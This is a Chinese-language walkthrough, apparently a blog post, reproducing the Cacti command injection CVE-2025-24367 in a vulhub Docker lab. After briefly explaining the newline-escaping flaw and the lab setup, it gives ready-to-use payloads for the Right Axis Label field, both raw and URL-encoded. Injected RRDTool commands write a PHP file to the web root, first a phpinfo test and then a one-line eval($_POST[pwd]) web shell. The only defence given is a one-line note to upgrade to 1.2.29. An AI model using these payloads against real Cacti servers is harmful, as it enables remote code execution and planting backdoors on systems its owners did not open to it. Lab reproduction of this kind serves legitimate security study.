Cacti-RCE(CVE-2025-24367)复现

0 阅读2分钟

简介

Cacti是一款利用RRDTool数据存储和图形化功能的完整网络图形化解决方案。在Cacti 1.2.28及以前版本中存在一个命令注入漏洞,该漏洞允许已认证用户在Web服务器上创建任意PHP文件,从而可能导致远程代码执行。

此漏洞出现在图形模板功能中,用户输入的RRDTool命令参数,如--right-axis-label,未被正确过滤。虽然Cacti尝试使用cacti_escapeshellarg()函数转义shell元字符,但它未能处理换行符。这允许攻击者突破预期的命令上下文并注入其他RRDTool命令,最终能够向Web根目录写入恶意PHP文件。


靶场搭建

vulhub:

cd vulhub/cacti/CVE-2025-24367
docker-compose up -d

访问 http://ip:8080到达安装页面,输入账号密码admin:admin,一直点击Next,最后到达此页面

image-20260512170055919.png


复现

修改Right Axis Label参数

Console → Templates → Graph

image-20260512170349158.png

然后选择"PING - Advanced Ping"

image-20260512170716270.png

修改"Right Axis Label",随便输入,这里我输入"XXX",回车并抓包

image-20260512180808424.png

XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

url编码:
XXX%0acreate+my.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+vulhub.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3dphpinfo()%3b%3f%3e%0a

image-20260512173216631.png

image-20260512181423049.png

创建新图表

Console → Create → New Graphs

image-20260512181811762.png

使用"PING - Advanced Ping"模板创建新图表

image-20260512182123672.png

触发payload

Graphs → Default Tree → Local Linux Machine 触发payload

image-20260512182543358.png

在web根目录下可以访问vulhub.phpimage-20260512182745498.png

同理,构造一个一句话

XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub1.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=eval($_POST[pwd]);?>


url编码:
XXX%0acreate+my.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+vulhub1.php+-s+now+-a+CSV+DEF%3aout%3dmy.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a%3c%3f%3deval(%24_POST%5bpwd%5d)%3b%3f%3e%0a

同样的方法修改参数后,图表已经创建,直接去看表触发payloadimage-20260512211218335.png

image-20260512211129546.png


防御

官方已发布1.2.29版本修复该漏洞,建议升级至最新版本。